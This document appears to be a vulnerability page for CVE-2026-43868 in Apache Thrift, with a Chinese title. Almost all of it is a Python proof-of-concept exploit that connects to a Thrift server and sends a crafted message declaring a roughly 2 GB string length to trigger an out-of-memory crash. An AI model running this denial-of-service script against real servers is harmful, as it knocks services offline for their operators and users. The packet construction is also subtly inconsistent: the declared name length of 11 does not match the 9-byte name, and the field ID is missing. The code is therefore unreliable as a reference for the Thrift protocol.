CVE-2026-43868 Apache Thrift 内存分配过大漏洞

import socket import struct def exploit_poc(host, port): """ Proof of Concept for CVE-2026-43868 (Memory Allocation with Excessive Size Value) This script sends a malicious Thrift message with a massive string length to trigger OOM. """ try: # Connect to the target Thrift server s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) # Construct a malicious message header (simplified for demonstration) # Assuming a standard Thrift binary protocol header bad_message = b"\x80\x01\x00\x01" # Strict protocol, message type bad_message += b"\x00\x00\x00\x0b" # Message name length (11) bad_message += b"malicious" # Message name bad_message += b"\x00\x00\x00\x00" # Sequence ID # Payload: A string field with excessive length # Field ID 1 (type 11 - String) field_header = b"\x0B" # Length: 2GB (approx) to force huge allocation length_bytes = struct.pack(">I", 0x7FFFFFFF) payload = field_header + length_bytes # Note: We do not send the actual string data, just the length header, # as the server attempts allocation upon reading the length. full_packet = bad_message + payload print(f"[*] Sending malicious packet to {host}:{port}...") s.send(full_packet) print("[+] Packet sent. Check if the server crashed.") s.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": target_host = "127.0.0.1" target_port = 9090 exploit_poc(target_host, target_port)